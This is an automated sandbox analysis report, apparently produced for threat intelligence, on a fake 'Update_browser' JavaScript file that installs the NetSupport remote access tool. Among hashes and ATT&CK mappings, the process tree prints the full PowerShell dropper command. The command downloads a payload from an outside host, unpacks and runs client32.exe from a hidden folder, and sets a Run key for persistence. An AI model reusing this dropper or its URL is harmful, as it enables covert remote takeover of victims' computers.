netsupport | 878cd20bb0e4997b3da982dc01a4bdeb125c53ab93662afbc8ccfeac7b48d9cb

Analysis

max time kernel
1527s
max time network
1792s
platform
windows11-21h2_x64
resource
win11-20231222-en
resource tags

arch:x64arch:x86image:win11-20231222-enlocale:en-usos:windows11-21h2-x64system
submitted
22/01/2024, 16:21

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General

Target

Update_browser_17.6436.js
Size

434KB
MD5

1c2732211585c64719d576f600937215
SHA1

b3bb169088862e9a67a85d3e0bd27af9b366764a
SHA256

878cd20bb0e4997b3da982dc01a4bdeb125c53ab93662afbc8ccfeac7b48d9cb
SHA512

9b982e7fe597697b32c4a01827858b47effe0715a72d85edace6c403d9904551ced54f8bff49908669e4ea5d0500de39487d29ff44a824163eb8f133ff529208
SSDEEP

6144:g+IrEhFgMczj0aw0810VLuqjHFPm4HQQuZ2Ozn:gqkdj8gY4HQJ2OL

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://phinetik.com/data.php?9662

exe.dropper

https://phinetik.com/data.php?9662

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1892	wscript.exe
3	4472	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3004	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
3004	client32.exe
3004	client32.exe
3004	client32.exe
3004	client32.exe
3004	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX535\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4472	powershell.exe
4472	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeSecurityPrivilege	3004	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3004	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 4472	1892	wscript.exe	81
PID 1892 wrote to memory of 4472	1892	wscript.exe	81
PID 4472 wrote to memory of 3004	4472	powershell.exe	83
PID 4472 wrote to memory of 3004	4472	powershell.exe	83
PID 4472 wrote to memory of 3004	4472	powershell.exe	83

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $LOZXqKBXbcZGYUeHzBQG='https://phinetik.com/data.php?9662';$qWFCjKtKmhJduVuqXIYrcbiAGRtLeV=(New-Object System.Net.WebClient).DownloadString($LOZXqKBXbcZGYUeHzBQG);$TEOxlXNLagiptiVBWiCWBEJqJWNCoeJq=[System.Convert]::FromBase64String($qWFCjKtKmhJduVuqXIYrcbiAGRtLeV);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $JHQWJMMQJBTDINJLoxfmhCPIzkJ=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $JHQWJMMQJBTDINJLoxfmhCPIzkJ -PathType Container)) { New-Item -Path $JHQWJMMQJBTDINJLoxfmhCPIzkJ -ItemType Directory };$p=Join-Path $JHQWJMMQJBTDINJLoxfmhCPIzkJ 'lol.zip';[System.IO.File]::WriteAllBytes($p,$TEOxlXNLagiptiVBWiCWBEJqJWNCoeJq);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$JHQWJMMQJBTDINJLoxfmhCPIzkJ)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $JHQWJMMQJBTDINJLoxfmhCPIzkJ 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $JHQWJMMQJBTDINJLoxfmhCPIzkJ -Force; $FSDFSSD.attributes='Hidden';$s=$JHQWJMMQJBTDINJLoxfmhCPIzkJ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Users\Admin\AppData\Roaming\DIVX535\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX535\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aqad1was.yci.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\client32.ini

Filesize
670B

MD5
8073e7835497db0541f6728adee45f0b

SHA1
3df6978d8b8ee68dffb6c3021d96e41909a50c31

SHA256
f5f34f4a4535f9a3c807f37864e82025f910239ec4a6c6db54e2b3827e71725e

SHA512
6ef953c768ae61d3a3161816bbee64dba7f3c7f102ababd4c1113363cbb10d2e68777e8cfdf5706494bc950635844eed926f8b0dfa9c50b9a513fb0f2ea1e8d9

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX535\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
memory/4472-13-0x000002569F8C0000-0x000002569F8CA000-memory.dmp

Filesize
40KB

Download
memory/4472-14-0x000002569FD40000-0x000002569FD52000-memory.dmp

Filesize
72KB

Download
memory/4472-8-0x000002569F840000-0x000002569F862000-memory.dmp

Filesize
136KB

Download
memory/4472-79-0x00007FF9BB7D0000-0x00007FF9BC292000-memory.dmp

Filesize
10.8MB

Download
memory/4472-11-0x000002569F790000-0x000002569F7A0000-memory.dmp

Filesize
64KB

Download
memory/4472-10-0x000002569F790000-0x000002569F7A0000-memory.dmp

Filesize
64KB

Download
memory/4472-9-0x00007FF9BB7D0000-0x00007FF9BC292000-memory.dmp

Filesize
10.8MB

Download